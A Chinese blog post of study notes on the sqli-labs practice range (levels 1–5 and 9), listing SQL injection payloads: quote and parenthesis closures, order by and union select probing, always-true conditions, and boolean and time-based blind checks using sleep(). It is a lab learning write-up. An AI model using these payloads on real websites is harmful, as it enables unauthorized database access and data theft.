sqli1-5 9报错注入 笔记

Less-1

http://靶场地址/sqli/Less-1/

进入第一关页面,URL 中包含 id 参数。输入 ?id=1 后,页面正常显示登录用户名和密码。输入 ?id=1' 后,页面返回数据库报错信息。这一现象说明用户输入的内容被直接拼接到了 SQL 语句中,且参数被单引号包裹。使用 order by 语句进行探测

?id=1' order by 1 --+

?id=1' order by 2 --+

?id=1' order by 3 --+

?id=1' order by 4 --+

使用union select联合查询来探测页面上哪些位置可以显示数据?id=-1' union select 1,2,3 --+

http://靶场地址/sqli/Less-1/?id=1' or 1=1 --+

Less-2

输入 ?id=1' 后页面报错,对比报错信息可以发现,其错误提示中并不像第一关那样涉及单引号闭合问题。进一步的测试可以验证:输入 ?id=1 and 1=2,页面变为空白;输入 ?id=1 and 1=1,页面正常显示。这说明 id 参数是以数字形式直接拼接到 SQL 语句中的,没有使用引号包裹。数字型注入,不需要添加引号

?id=1 order by 1 --+

?id=1 order by 2 --+

?id=1 order by 3 --+

?id=1 order by 4 --+

将 id 设为-1 union select ?id=-1 union select 1,2,3 --+

直接在参数后拼接 or 1=1 即可构造恒真条件。

?id=1 or 1=1 --+

Less-3

第三关输入 ?id=1' 后同样报错,但需要仔细观察报错信息中的细节。错误提示中出现了额外的右括号 ),这表明后台 SQL 语句中 id 参数不仅被引号包裹,还被括号所包含。需要闭合两个符号:第一是左括号 (,第二是单引号 '。因此闭合方式为 '),因此 order by 探测时需要先闭合前面的括号和引号,再拼接 order by:?id=1') order by 1 --+

?id=1') order by 2 --+

?id=1') order by 3 --+

?id=1') order by 4 --+

?id=-1') union select 1,database(),3 --+

Less-4

输入 ?id=1' 后页面没有报错,正常显示。这说明单引号不是正确的闭合方式。接着输入 ?id=1" 后页面报错,且报错信息中同样出现了右括号 )。闭合方式为 "),先用右括号闭合左括号,再用双引号闭合前面的双引号。然后拼接 or 1=1 构造恒真条件。

?id=1") order by 1 --+

?id=1") order by 2 --+

?id=1") order by 3 --+

?id=1") order by 4 --+

order by 4报错

?id=1") or 1=1 --+

Less-5

输入正常的 ?id=1 后,页面只显示一条固定提示 "You are in..........." ,没有任何数据库字段内容显示在页面上。输入 ?id=1' 后页面报错,说明存在注入漏洞,但没有回显数据的位置。

?id=1' order by 1 --+

?id=1' order by 2 --+

?id=1' order by 3 --+

?id=1' order by 4 --+

order by 4时报错

?id=1' and ascii(substr(database(), 2, 1))=115 --+ 判断该字符的 ASCII 码

Less-9

输入任何 id 值(无论是正常值?id=1、异常值?id=1000,还是带引号的?id=1'),页面始终只显示 "You are in..........." ,没有任何变化。没有回显位,也没有报错信息,order by探测和union select完全无法使用。使用 MySQL 的if()条件判断函数配合sleep()延时函数

if(条件, sleep(秒数), 0)

?id=1' and if(1=1, sleep(5), 0) --+依次尝试

SELECT * FROM users WHERE id='1' and if(ascii(substr(database(), 1, 1))=115, sleep(5), 0) --+

相关推荐
风123456789~15 分钟前
【架构专栏】4.8 信息安全的保障体系与评估方法 4/4
笔记·系统架构设计
摇滚侠16 分钟前
《SpringBoot 3:入门与应用实战》第 12 章 JDBC 与事务 Spring Framework 的事务管理 阅读笔记 34
spring boot·笔记·spring
xzal1228 分钟前
Python之filter()和map()的区别(仅供学习参考)
笔记·python
LuminousCPP12 小时前
数据结构-二叉树(六):BFS层序遍历与完全二叉树判断|复用链式队列 + (N_0=N_2+1) 性质证明
c语言·数据结构·笔记·算法·二叉树·宽度优先
一条破秋裤15 小时前
STM32 学习笔记:PWM 驱动 LED 呼吸灯与舵机代码
笔记·stm32·学习
kyrie_sakura16 小时前
python学习笔记11 -- 进程和线程
笔记·python·学习
自小吃多16 小时前
PCB Editor软件差分对添加与设置笔记
笔记·嵌入式硬件
Capricorn198818 小时前
防编造架构实战:对比 Gemini Notebook 解析知芽 Notebook Skill 的工程实现
人工智能·笔记·elasticsearch·架构·知识图谱·论文笔记
Shell运维手记18 小时前
Linux mdadm 软 RAID + LVM 完整综合笔记
linux·运维·笔记·5g
疯狂打码的少年18 小时前
【数据库技术】SQL数据查询(SELECT基本语法)
数据库·笔记·sql·oracle